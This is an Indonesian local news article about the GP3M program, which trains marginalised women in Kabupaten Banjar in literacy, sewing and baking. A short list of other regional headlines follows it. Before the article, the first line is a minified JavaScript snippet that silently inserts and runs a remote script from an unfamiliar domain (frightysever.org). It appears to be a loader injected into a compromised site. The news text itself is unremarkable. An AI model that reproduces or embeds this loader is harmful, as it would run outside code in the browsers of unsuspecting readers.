(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Perempuan Banjar Kini Lebih Mandiri Berkat GP3M


MARTAPURA, Gerakan Pendidikan Pemberdayaan Perempuan Mandiri (GP3M) terbukti mampu meningkatkan keterampilan kaum perempuan. Terutama kaum marginal yang belum tersentuh keterampilan. Pasalnya, kaum perempuan ditempa dengan pelatihan dan praktik serta mengambangkan keahlian untuk meningkatkan pendapatan keluarga.

Hal itu disampaikan oleh Direktur Direktorat Pembinaan Pendidikan Keaksaraan dan Kesetaraan (Dit Bindik Aksara) Abdul Kahar di pembukaan Sarasehan GP3M di halaman Kantor Dinas Pendidikan Banjar, Kamis (3/10) pagi.

“GP3M diluncurkan sejak 2016 lalu. Ini program andalan dan langsung bersentuhan dengan kaum perempuan. Terutama kaum marginal. Kita latih dan berdayakan mereka,” kata Abdul Kahar.

Dengan kemandirian, para perempuan tidak menjadi buta huruf dan termarginalkan. Oleh sebab itu GP3M saat ini berbeda dengan sebelumnya. perempuan marginal merupakan segmen sasaran program. Dijadikan mereka perempuan mandiri sebagai tujuan peningkatan mutu pendidikan di daerah kantong-kantong tuna aksara.

Fungsi GP3M untuk Pemerintah Kabupaten Banjar adalah ajang strategi perumusan rencana aksi pembangunan daerah. Gerbang dalam pemberdayaan perempuan dan menjadi pendekatan terintegrasi antar Satuan Kerja Perangkat Daerah (SKPD) yang ada pada lingkup Pemda. Memastikan tidak ada lagi perempuan yang termarginalkan baik dari sisi pendidikan maupun keterampilan.

Kepala Dinas Pendidikan Banjar Maidi Armansyah menjelaskan, GP3M di Banjar melatih dan membina kaum perempuan di beberapa kecamatan. Mulai keterampilan menjahit, membuat kue kering dan memberantas buta aksara. Mewadahi perempuan yang berkeinginan meningkatkan sumber daya manusia.

Adapun Wakil Ketua I TP PKK Banjar, Hj Nur Gita Tiyas mengatakan, seluruh tema sarasehan untuk mencapai sejahtera dan barokah. Ia mengapresiasi sarasehan yang bertujuan mewujudkan dan mengupayakan secara terpadu kaum perempuan. Mereka harus meningkat baik dari sisi sosial, ekonomi serta memberdayakan masyarakat, khususnya untuk kaum perempuan marginal.

“GP3M menjadikan kaum perempuan lebih mandiri. Mandiri jadi modal perempuan tidak akan menjadi buta huruf dan termarginalkan,” pungkasnya. (Rendy)

Reporter : Rendy
Editor : Chell


Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

9 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

10 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

12 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

15 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

18 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

19 jam ago

This website uses cookies.